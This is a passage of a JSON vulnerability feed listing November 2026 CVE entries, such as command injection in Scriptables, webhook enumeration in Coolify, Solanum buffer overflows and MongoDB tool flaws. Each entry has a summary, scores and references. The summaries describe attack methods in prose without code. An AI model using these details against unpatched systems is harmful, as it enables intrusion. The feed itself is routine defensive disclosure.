Scriptables through v2-dev branch allows attackers to inject arbitrary OS commands via uploading a file with a crafted filename to the /sync endpoint.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Den-Sec/security-research/blob/master/advisories/gohttpserver/VDR-001-zipslip.md","https://github.com/Den-Sec/security-research/blob/master/advisories/im3x-scriptables/VDR-003-os-command-injection.md","https://github.com/im3x/Scriptables","https://github.com/im3x/Scriptables/blob/v2-dev/app.js"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:12","euvd":{"id":"EUVD-2026-116106","description":"An issue in im3x Scriptables through v2-dev branch allows attackers to inject arbitrary OS commands via uploading a file with a crafted filename to the /sync endpoint.","published_time":"2026-11-03T00:00:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"mitre","references":["https://github.com/im3x/Scriptables","https://github.com/im3x/Scriptables/blob/v2-dev/app.js","https://github.com/Den-Sec/security-research/blob/master/advisories/gohttpserver/VDR-001-zipslip.md","https://github.com/Den-Sec/security-research/blob/master/advisories/im3x-scriptables/VDR-003-os-command-injection.md"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-121587","summary":"Coolify before 4.1.1 contains an information disclosure vulnerability that allows unauthenticated attackers to enumerate application names across all teams via manual GitHub, GitLab, Bitbucket and Gitea webhooks. Attackers can send a repository name of % or empty with a common branch like main, exploiting unescaped LIKE wildcards to receive every matching application name before signature verification.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/coollabsio/coolify","https://github.com/coollabsio/coolify/blob/v4.1.0/app/Http/Controllers/Webhook/Github.php#L69","https://github.com/coollabsio/coolify/commit/809d9b21fa9609de2ce9b49bb838c079598da876","https://github.com/coollabsio/coolify/commit/c1518ba1c0be36da42b6cef06df4b042f5733b01","https://github.com/coollabsio/coolify/pull/10361","https://github.com/coollabsio/coolify/releases/tag/v4.1.1","https://www.vulncheck.com/advisories/coolify-before-4.1.1-application-name-enumeration-via-manual-webhook-endpoints"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:11","euvd":{"id":"EUVD-2026-116035","description":"Coolify before 4.1.1 contains an information disclosure vulnerability that allows unauthenticated attackers to enumerate application names across all teams via manual GitHub, GitLab, Bitbucket and Gitea webhooks. Attackers can send a repository name of % or empty with a common branch like main, exploiting unescaped LIKE wildcards to receive every matching application name before signature verification.","published_time":"2026-11-03T16:26:52","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/coollabsio/coolify/pull/10361","https://github.com/coollabsio/coolify/commit/c1518ba1c0be36da42b6cef06df4b042f5733b01","https://github.com/coollabsio/coolify/commit/809d9b21fa9609de2ce9b49bb838c079598da876","https://github.com/coollabsio/coolify/releases/tag/v4.1.1","https://github.com/coollabsio/coolify/blob/v4.1.0/app/Http/Controllers/Webhook/Github.php#L69","https://github.com/coollabsio/coolify","https://www.vulncheck.com/advisories/coolify-before-4.1.1-application-name-enumeration-via-manual-webhook-endpoints"],"products":["coolify"],"vendors":["coollabsio"]},"ghsa":null},{"cve_id":"CVE-2026-121588","summary":"TeXlyre from 0.11.0 before 0.13.5 contains a stored cross-site scripting vulnerability that allows attackers to execute script by supplying malicious LSP or typesetter recipe icons. Attackers can trick victims into importing a recipe whose icon contains an HTML event handler, persistently accessing local projects and repository credentials.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/TeXlyre/texlyre/blob/9621db54893cc2203be5aed8615f54a17653be4d/src/components/settings/ToolConfigCards.tsx#L174","https://github.com/TeXlyre/texlyre/commit/92b50ca050af8473f0fd51a048a7e1d60dcdb2dc","https://github.com/TeXlyre/texlyre/security/advisories/GHSA-gg75-v533-34cq","https://www.vulncheck.com/advisories/texlyre-from-0.11.0-before-0.13.5-stored-xss-via-recipe-icon-import"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:11","euvd":{"id":"EUVD-2026-116036","description":"TeXlyre from 0.11.0 before 0.13.5 contains a stored cross-site scripting vulnerability that allows attackers to execute script by supplying malicious LSP or typesetter recipe icons. Attackers can trick victims into importing a recipe whose icon contains an HTML event handler, persistently accessing local projects and repository credentials.","published_time":"2026-11-03T16:26:53","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/TeXlyre/texlyre/security/advisories/GHSA-gg75-v533-34cq","https://github.com/TeXlyre/texlyre/commit/92b50ca050af8473f0fd51a048a7e1d60dcdb2dc","https://github.com/TeXlyre/texlyre/blob/9621db54893cc2203be5aed8615f54a17653be4d/src/components/settings/ToolConfigCards.tsx#L174","https://www.vulncheck.com/advisories/texlyre-from-0.11.0-before-0.13.5-stored-xss-via-recipe-icon-import"],"products":["texlyre"],"vendors":["TeXlyre"]},"ghsa":null},{"cve_id":"CVE-2026-121602","summary":"Solanum before commit 2ce64de contains a heap-based buffer overflow vulnerability that allows a malicious linked server to corrupt memory by sending overlong channel names in JOIN or SJOIN messages. Attackers controlling a peer server can trigger strcpy and sprintf overflows in ms_join and ms_sjoin to crash the ircd or potentially achieve remote code execution.","cvss":8.5,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":8.5,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/solanum-ircd/solanum","https://github.com/solanum-ircd/solanum/blob/2ea1382e4262b212a91034258c466f0f6754cd61/ircd/channel.c#L371-L385","https://github.com/solanum-ircd/solanum/blob/2ea1382e4262b212a91034258c466f0f6754cd61/modules/core/m_join.c#L507","https://github.com/solanum-ircd/solanum/commit/2ce64debf65e9710e9eea099ada93dbf6655b5ff","https://github.com/solanum-ircd/solanum/pull/551","https://www.vulncheck.com/advisories/solanum-before-commit-2ce64de-heap-buffer-overflow-via-join-and-sjoin"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:11","euvd":{"id":"EUVD-2026-116037","description":"Solanum before commit 2ce64de contains a heap-based buffer overflow vulnerability that allows a malicious linked server to corrupt memory by sending overlong channel names in JOIN or SJOIN messages. Attackers controlling a peer server can trigger strcpy and sprintf overflows in ms_join and ms_sjoin to crash the ircd or potentially achieve remote code execution.","published_time":"2026-11-03T16:26:54","cvss":8.5,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/solanum-ircd/solanum/pull/551","https://github.com/solanum-ircd/solanum/commit/2ce64debf65e9710e9eea099ada93dbf6655b5ff","https://github.com/solanum-ircd/solanum/blob/2ea1382e4262b212a91034258c466f0f6754cd61/modules/core/m_join.c#L507","https://github.com/solanum-ircd/solanum/blob/2ea1382e4262b212a91034258c466f0f6754cd61/ircd/channel.c#L371-L385","https://github.com/solanum-ircd/solanum","https://www.vulncheck.com/advisories/solanum-before-commit-2ce64de-heap-buffer-overflow-via-join-and-sjoin"],"products":["solanum"],"vendors":["solanum-ircd"]},"ghsa":null},{"cve_id":"CVE-2026-121603","summary":"Solanum before commit 2ea1382 contains a buffer overflow vulnerability in ms_kill() that allows malicious linked servers to corrupt memory by sending an overlong kill reason. Attackers controlling a rogue or compromised peer server can send a reason exceeding KILLLEN that overflows a static 512-byte buffer, crashing the ircd or potentially achieving remote code execution.","cvss":8.5,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":8.5,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/solanum-ircd/solanum","https://github.com/solanum-ircd/solanum/blob/7bc7e34c04711247b932666e19ae900cba884540/modules/core/m_kill.c#L277","https://github.com/solanum-ircd/solanum/commit/2ea1382e4262b212a91034258c466f0f6754cd61","https://github.com/solanum-ircd/solanum/pull/550","https://www.vulncheck.com/advisories/solanum-before-commit-2ea1382-buffer-overflow-via-server-to-server-kill-handler"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:11","euvd":{"id":"EUVD-2026-116038","description":"Solanum before commit 2ea1382 contains a buffer overflow vulnerability in ms_kill() that allows malicious linked servers to corrupt memory by sending an overlong kill reason. Attackers controlling a rogue or compromised peer server can send a reason exceeding KILLLEN that overflows a static 512-byte buffer, crashing the ircd or potentially achieving remote code execution.","published_time":"2026-11-03T16:26:54","cvss":8.5,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/solanum-ircd/solanum/pull/550","https://github.com/solanum-ircd/solanum/commit/2ea1382e4262b212a91034258c466f0f6754cd61","https://github.com/solanum-ircd/solanum/blob/7bc7e34c04711247b932666e19ae900cba884540/modules/core/m_kill.c#L277","https://github.com/solanum-ircd/solanum","https://www.vulncheck.com/advisories/solanum-before-commit-2ea1382-buffer-overflow-via-server-to-server-kill-handler"],"products":["solanum"],"vendors":["solanum-ircd"]},"ghsa":null},{"cve_id":"CVE-2026-121604","summary":"wlroots before 0.20.2 contains an out-of-bounds read vulnerability in read_surface_class() in xwayland/xwm.c that allows local X11 clients to leak compositor heap memory. Attackers can set a WM_CLASS property with a NUL-terminated instance but unterminated class, exposing over-read heap bytes as the window class or app_id over IPC.","cvss":4.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.3,"cvss_v4":4.8,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.freedesktop.org/wlroots/wlroots/-/blob/0.20.1/xwayland/xwm.c#L661-L678","https://gitlab.freedesktop.org/wlroots/wlroots/-/commit/4412992469540b1d578cb94a5cd4e6e5829812dc","https://gitlab.freedesktop.org/wlroots/wlroots/-/commit/851cdd0089004884bd85a95ad21f04009cb5a53a","https://gitlab.freedesktop.org/wlroots/wlroots/-/merge_requests/5374","https://gitlab.freedesktop.org/wlroots/wlroots/-/releases/0.20.2","https://gitlab.freedesktop.org/wlroots/wlroots/-/work_items/4092","https://www.vulncheck.com/advisories/wlroots-before-0.20.2-out-of-bounds-read-via-read-surface-class-in-xwm-c"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:11","euvd":{"id":"EUVD-2026-116039","description":"wlroots before 0.20.2 contains an out-of-bounds read vulnerability in read_surface_class() in xwayland/xwm.c that allows local X11 clients to leak compositor heap memory. Attackers can set a WM_CLASS property with a NUL-terminated instance but unterminated class, exposing over-read heap bytes as the window class or app_id over IPC.","published_time":"2026-11-03T16:26:55","cvss":4.8,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://gitlab.freedesktop.org/wlroots/wlroots/-/work_items/4092","https://gitlab.freedesktop.org/wlroots/wlroots/-/merge_requests/5374","https://gitlab.freedesktop.org/wlroots/wlroots/-/commit/851cdd0089004884bd85a95ad21f04009cb5a53a","https://gitlab.freedesktop.org/wlroots/wlroots/-/commit/4412992469540b1d578cb94a5cd4e6e5829812dc","https://gitlab.freedesktop.org/wlroots/wlroots/-/releases/0.20.2","https://gitlab.freedesktop.org/wlroots/wlroots/-/blob/0.20.1/xwayland/xwm.c#L661-L678","https://www.vulncheck.com/advisories/wlroots-before-0.20.2-out-of-bounds-read-via-read-surface-class-in-xwm-c"],"products":["wlroots"],"vendors":["wlroots"]},"ghsa":null},{"cve_id":"CVE-2026-121631","summary":"Lightdash 0.2609.0 before 3.137.0 contains an authorization bypass vulnerability in the RenameService that allows authenticated users with update Project permission on one project to access and modify dashboards belonging to a different project, caused by the failure to verify that the projectUuid from the URL matches the projectUuid of the target dashboard. Attackers can send crafted POST requests to the rename/dashboard endpoint to modify foreign dashboard filters and break charts, or send GET requests to the rename/dashboard/fields endpoint to read field metadata from projects they do not have access to.","cvss":2.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.2,"cvss_v4":2.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/lightdash/lightdash/releases/tag/3.137.0","https://github.com/lightdash/lightdash/security/advisories/GHSA-h6fw-x63x-9gr6","https://www.vulncheck.com/advisories/lightdash-before-cross-project-idor-via-renameservice-dashboard-endpoints"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:11","euvd":{"id":"EUVD-2026-116098","description":"Lightdash 0.2609.0 before 3.137.0 contains an authorization bypass vulnerability in the RenameService that allows authenticated users with update Project permission on one project to access and modify dashboards belonging to a different project, caused by the failure to verify that the projectUuid from the URL matches the projectUuid of the target dashboard. Attackers can send crafted POST requests to the rename/dashboard endpoint to modify foreign dashboard filters and break charts, or send GET requests to the rename/dashboard/fields endpoint to read field metadata from projects they do not have access to.","published_time":"2026-11-03T17:06:08","cvss":2.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/lightdash/lightdash/security/advisories/GHSA-h6fw-x63x-9gr6","https://github.com/lightdash/lightdash/releases/tag/3.137.0","https://www.vulncheck.com/advisories/lightdash-before-cross-project-idor-via-renameservice-dashboard-endpoints"],"products":["Lightdash"],"vendors":["Lightdash"]},"ghsa":null},{"cve_id":"CVE-2026-121261","summary":"A vulnerability has been found in phpMyAdmin ShapeFile up to 4.0.1. Impacted is the function ShapeRecord::loadFromFile of the component SHP File Handler. Such manipulation leads to infinite loop. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":2.1,"cvss_version":4.0,"cvss_v2":5.0,"cvss_v3":4.3,"cvss_v4":2.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/Ishanoshada/efbda3b5bee92058cc6b08f67d4e7363","https://vuldb.com/cve/CVE-2026-121261","https://vuldb.com/submit/1018488","https://vuldb.com/vuln/430227","https://vuldb.com/vuln/430227/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:08","euvd":{"id":"EUVD-2026-116068","description":"A vulnerability has been found in phpMyAdmin ShapeFile up to 4.0.1. Impacted is the function ShapeRecord::loadFromFile of the component SHP File Handler. Such manipulation leads to infinite loop. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T16:30:15","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430227","https://vuldb.com/vuln/430227/cti","https://vuldb.com/cve/CVE-2026-121261","https://vuldb.com/submit/1018488","https://gist.github.com/Ishanoshada/efbda3b5bee92058cc6b08f67d4e7363"],"products":["ShapeFile","ShapeFile"],"vendors":["phpMyAdmin"]},"ghsa":null},{"cve_id":"CVE-2026-121262","summary":"A vulnerability was found in phpMyAdmin SQL-Parser 6.0.0/6.0.1. The affected element is the function parse of the file src/Statements/ExplainStatement.php. Performing a manipulation of the argument nextToken results in incorrect type conversion. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":5.5,"cvss_version":4.0,"cvss_v2":5.0,"cvss_v3":5.3,"cvss_v4":5.5,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/Ishanoshada/f984e2f5f31e02a42d98615348cfca51","https://vuldb.com/cve/CVE-2026-121262","https://vuldb.com/submit/1018498","https://vuldb.com/vuln/430228","https://vuldb.com/vuln/430228/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:08","euvd":{"id":"EUVD-2026-116094","description":"A vulnerability was found in phpMyAdmin SQL-Parser 6.0.0/6.0.1. The affected element is the function parse of the file src/Statements/ExplainStatement.php. Performing a manipulation of the argument nextToken results in incorrect type conversion. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T17:00:16","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430228","https://vuldb.com/vuln/430228/cti","https://vuldb.com/cve/CVE-2026-121262","https://vuldb.com/submit/1018498","https://gist.github.com/Ishanoshada/f984e2f5f31e02a42d98615348cfca51"],"products":["SQL-Parser","SQL-Parser"],"vendors":["phpMyAdmin"]},"ghsa":null},{"cve_id":"CVE-2026-119675","summary":"MongoDB Database Tools mongorestore inconsistently handles the system.buckets. prefix when validating collection names in an untrusted dump. A specially crafted collection name can bypass special-collection guards and operator namespace filters, causing a restore to create an unauthorized user-chosen database account, including an account with the root role. Exploitation requires an operator to restore unauthorized user-controlled data using credentials with sufficient user-management privileges on the destination deployment. Excluding the admin namespace alone does not prevent this behavior. This issue affects MongoDB Database Tools versions 100.4.0 through versions before 100.20.1.","cvss":5.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.6,"cvss_v4":5.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/mongodb/mongo-tools/blob/master/CHANGELOG.md"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:07","euvd":{"id":"EUVD-2026-116026","description":"MongoDB Database Tools mongorestore inconsistently handles the system.buckets. prefix when validating collection names in an untrusted dump. A specially crafted collection name can bypass special-collection guards and operator namespace filters, causing a restore to create an unauthorized user-chosen database account, including an account with the root role. Exploitation requires an operator to restore unauthorized user-controlled data using credentials with sufficient user-management privileges on the destination deployment. Excluding the admin namespace alone does not prevent this behavior. This issue affects MongoDB Database Tools versions 100.4.0 through versions before 100.20.1.","published_time":"2026-11-03T16:06:54","cvss":5.2,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://github.com/mongodb/mongo-tools/blob/master/CHANGELOG.md"],"products":["Database Tools"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-120843","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Barn2 Plugins Posts Table with Search & Sort posts-data-table allows Stored XSS.This issue affects Posts Table with Search & Sort: from n/a through 1.4.14.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/posts-data-table/vulnerability/wordpress-posts-table-with-search-sort-plugin-1-4-14-cross-site-scripting-xss-vulnerability?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:07","euvd":{"id":"EUVD-2026-116088","description":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Barn2 Plugins Posts Table with Search & Sort posts-data-table allows Stored XSS.This issue affects Posts Table with Search & Sort: from n/a through 1.4.14.","published_time":"2026-11-03T16:51:22","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/posts-data-table/vulnerability/wordpress-posts-table-with-search-sort-plugin-1-4-14-cross-site-scripting-xss-vulnerability?_s_id=cve"],"products":["Posts Table with Search & Sort"],"vendors":["Barn2 Plugins"]},"ghsa":null},{"cve_id":"CVE-2026-120846","summary":"Missing Authorization vulnerability in Uncanny Owl Uncanny Automator uncanny-automator allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Uncanny Automator: from n/a through 7.7.1.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/uncanny-automator/vulnerability/wordpress-uncanny-automator-plugin-7-7-1-broken-access-control-vulnerability?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:07","euvd":{"id":"EUVD-2026-116083","description":"Missing Authorization vulnerability in Uncanny Owl Uncanny Automator uncanny-automator allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Uncanny Automator: from n/a through 7.7.1.","published_time":"2026-11-03T16:44:19","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/uncanny-automator/vulnerability/wordpress-uncanny-automator-plugin-7-7-1-broken-access-control-vulnerability?_s_id=cve"],"products":["Uncanny Automator"],"vendors":["Uncanny Owl"]},"ghsa":null},{"cve_id":"CVE-2026-121259","summary":"A flaw was found in the GStreamer JPEG 2000 decimator in gst-plugins-bad. Crafted JPEG 2000 media can cause integer overflows or division by zero during tile processing. An application that processes the malicious media may crash, resulting in a denial of service.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://access.redhat.com/security/cve/CVE-2026-121259","https://bugzilla.redhat.com/show_bug.cgi?id=2565686","https://gstreamer.freedesktop.org/releases/1.28/","https://gstreamer.freedesktop.org/security/sa-2026-0015.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:07","euvd":{"id":"EUVD-2026-116067","description":"A flaw was found in the GStreamer JPEG 2000 decimator in gst-plugins-bad. Crafted JPEG 2000 media can cause integer overflows or division by zero during tile processing. An application that processes the malicious media may crash, resulting in a denial of service.","published_time":"2026-11-03T16:30:06","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"redhat","references":["https://access.redhat.com/security/cve/CVE-2026-121259","https://bugzilla.redhat.com/show_bug.cgi?id=2565686","https://gstreamer.freedesktop.org/releases/1.28/","https://gstreamer.freedesktop.org/security/sa-2026-0015.html"],"products":[],"vendors":[]},"ghsa":null},{"cve_id":"CVE-2026-119487","summary":"Missing Authorization vulnerability in weDevs Dokan dokan-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Dokan: from n/a through 5.3.2.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/dokan-lite/vulnerability/wordpress-dokan-plugin-5-3-2-broken-access-control-vulnerability?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:06","euvd":{"id":"EUVD-2026-116089","description":"Missing Authorization vulnerability in weDevs Dokan dokan-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Dokan: from n/a through 5.3.2.","published_time":"2026-11-03T16:52:54","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/dokan-lite/vulnerability/wordpress-dokan-plugin-5-3-2-broken-access-control-vulnerability?_s_id=cve"],"products":["Dokan"],"vendors":["wedevs"]},"ghsa":null},{"cve_id":"CVE-2026-119495","summary":"Missing Authorization vulnerability in WebberZone Better Search better-search allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Better Search: from n/a through 4.5.2.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/better-search/vulnerability/wordpress-better-search-plugin-4-5-2-broken-access-control-vulnerability?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:06","euvd":{"id":"EUVD-2026-116069","description":"Missing Authorization vulnerability in WebberZone Better Search better-search allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Better Search: from n/a through 4.5.2.","published_time":"2026-11-03T16:43:08","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/better-search/vulnerability/wordpress-better-search-plugin-4-5-2-broken-access-control-vulnerability?_s_id=cve"],"products":["Better Search"],"vendors":["WebberZone"]},"ghsa":null},{"cve_id":"CVE-2026-119509","summary":"Missing Authorization vulnerability in eranfl ClickCease Click Fraud Protection clickcease-click-fraud-protection allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ClickCease Click Fraud Protection: from n/a through 3.3.0.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/clickcease-click-fraud-protection/vulnerability/wordpress-clickcease-click-fraud-protection-plugin-3-3-0-broken-access-control-vulnerability?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:06","euvd":{"id":"EUVD-2026-116097","description":"Missing Authorization vulnerability in eranfl ClickCease Click Fraud Protection clickcease-click-fraud-protection allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ClickCease Click Fraud Protection: from n/a through 3.3.0.","published_time":"2026-11-03T17:03:46","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/clickcease-click-fraud-protection/vulnerability/wordpress-clickcease-click-fraud-protection-plugin-3-3-0-broken-access-control-vulnerability?_s_id=cve"],"products":["ClickCease Click Fraud Protection"],"vendors":["eranfl"]},"ghsa":null},{"cve_id":"CVE-2026-119521","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Cozmoslabs Paid Member Subscriptions paid-member-subscriptions allows Stored XSS.This issue affects Paid Member Subscriptions: from n/a through 3.1.3.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/paid-member-subscriptions/vulnerability/wordpress-paid-member-subscriptions-plugin-3-1-3-cross-site-scripting-xss-vulnerability?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:06","euvd":{"id":"EUVD-2026-116070","description":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Cozmoslabs Paid Member Subscriptions paid-member-subscriptions allows Stored XSS.This issue affects Paid Member Subscriptions: from n/a through 3.1.3.","published_time":"2026-11-03T16:43:38","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/paid-member-subscriptions/vulnerability/wordpress-paid-member-subscriptions-plugin-3-1-3-cross-site-scripting-xss-vulnerability?_s_id=cve"],"products":["Paid Member Subscriptions"],"vendors":["Cozmoslabs"]},"ghsa":null},{"cve_id":"CVE-2026-119672","summary":"MongoDB Database Tools mongofiles uses a database-stored GridFS filename as the output destination for get_id when --local is not specified. A user who can modify the file metadata can set the stored filename to '-', causing a later authorized retrieval to write the file contents to standard output instead of a local file. If standard output is captured in a location accessible to that user, this may disclose GridFS content the user cannot read directly. Exploitation requires a higher-privileged operator to retrieve the affected file without an explicit local destination and attacker access to the captured output. This issue affects MongoDB Database Tools from version 3.1.4 through versions before 100.20.1.","cvss":5.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.8,"cvss_v4":5.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/mongodb/mongo-tools/blob/master/CHANGELOG.md"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:06","euvd":{"id":"EUVD-2026-116027","description":"MongoDB Database Tools mongofiles uses a database-stored GridFS filename as the output destination for get_id when --local is not specified. A user who can modify the file metadata can set the stored filename to '-', causing a later authorized retrieval to write the file contents to standard output instead of a local file. If standard output is captured in a location accessible to that user, this may disclose GridFS content the user cannot read directly. Exploitation requires a higher-privileged operator to retrieve the affected file without an explicit local destination and attacker access to the captured output. This issue affects MongoDB Database Tools from version 3.1.4 through versions before 100.20.1.","published_time":"2026-11-03T16:09:59","cvss":5.9,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://github.com/mongodb/mongo-tools/blob/master/CHANGELOG.md"],"products":["Database Tools"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-119673","summary":"MongoDB Database Tools mongofiles does not resolve existing parent-directory symlinks when validating output paths for get_regex. An unauthorized user who can both upload a GridFS file and place a symlink in the operator's download working directory can cause a later retrieval to create a file containing unauthorized user-controlled data outside that directory, using the operator process's filesystem permissions. The issue can occur with default traversal and overwrite settings. Exploitation requires an operator to retrieve matching files from the affected working directory; the demonstrated default behavior creates a new file rather than overwriting an existing file. This issue affects MongoDB Database Tools versions 100.2.0 through versions before 100.20.1.","cvss":1.0,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":2.8,"cvss_v4":1.0,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/mongodb/mongo-tools/blob/master/CHANGELOG.md"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:06","euvd":{"id":"EUVD-2026-116028","description":"MongoDB Database Tools mongofiles does not resolve existing parent-directory symlinks when validating output paths for get_regex. An unauthorized user who can both upload a GridFS file and place a symlink in the operator's download working directory can cause a later retrieval to create a file containing unauthorized user-controlled data outside that directory, using the operator process's filesystem permissions. The issue can occur with default traversal and overwrite settings. Exploitation requires an operator to retrieve matching files from the affected working directory; the demonstrated default behavior creates a new file rather than overwriting an existing file. This issue affects MongoDB Database Tools versions 100.2.0 through versions before 100.20.1.","published_time":"2026-11-03T16:14:23","cvss":1.0,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://github.com/mongodb/mongo-tools/blob/master/CHANGELOG.md"],"products":["Database 